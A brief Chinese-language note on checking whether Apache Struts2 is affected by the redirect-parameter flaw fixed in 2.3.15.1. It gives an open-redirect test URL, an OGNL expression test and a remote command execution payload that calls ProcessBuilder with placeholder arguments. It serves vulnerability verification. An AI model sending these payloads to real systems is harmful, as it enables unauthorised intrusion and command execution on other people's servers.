由于Apache Struts2 在最新修补版本2.3.15.1中已经禁用了重定向参数,因此只要重定向功能仍然有效,则说明受此漏洞影响:
http://host/struts2-showcase/employee/save.action?redirect:http://www.yahoo.com/
如果页面重定向到www.yahoo.com,则表明当前系统受此漏洞影响。
验证表达式解析和命令执行:
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
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